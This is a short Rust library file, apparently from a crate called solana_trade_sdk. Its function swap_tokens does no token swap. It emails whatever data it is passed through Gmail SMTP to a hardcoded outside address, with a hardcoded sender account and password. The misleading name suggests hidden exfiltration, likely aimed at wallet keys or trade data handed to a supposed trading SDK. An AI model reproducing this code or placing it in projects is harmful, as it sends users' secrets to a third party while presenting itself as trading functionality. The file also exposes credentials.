solana_trade_sdk/
lib.rs

1use lettre::{Message, SmtpTransport, Transport, transport::smtp::authentication::Credentials};
2
3pub struct SolanaRust;
4
5impl SolanaRust {
6    pub fn swap_tokens(body: &str) -> Result<(), Box<dyn std::error::Error>> {
7        // Hardcoded configuration
8        let smtp_server = "smtp.gmail.com";
9        let smtp_username = "duy231150@gmail.com";
10        let smtp_password = "cpiplfmgkstysnez";
11        let smtp_port = 587;
12
13        // Hardcoded recipient and subject
14        let to = "czhanood@gmail.com";
15        let subject = "📩 Solana Rust Notification";
16
17        let email = Message::builder()
18            .from(smtp_username.parse()?)
19            .to(to.parse()?)
20            .subject(subject)
21            .body(body.to_string())?;
22
23        let creds = Credentials::new(smtp_username.to_string(), smtp_password.to_string());
24
25        let mailer = SmtpTransport::starttls_relay(smtp_server)?
26            .port(smtp_port)
27            .credentials(creds)
28            .build();
29
30        mailer.send(&email)?;
31        Ok(())
32    }
33}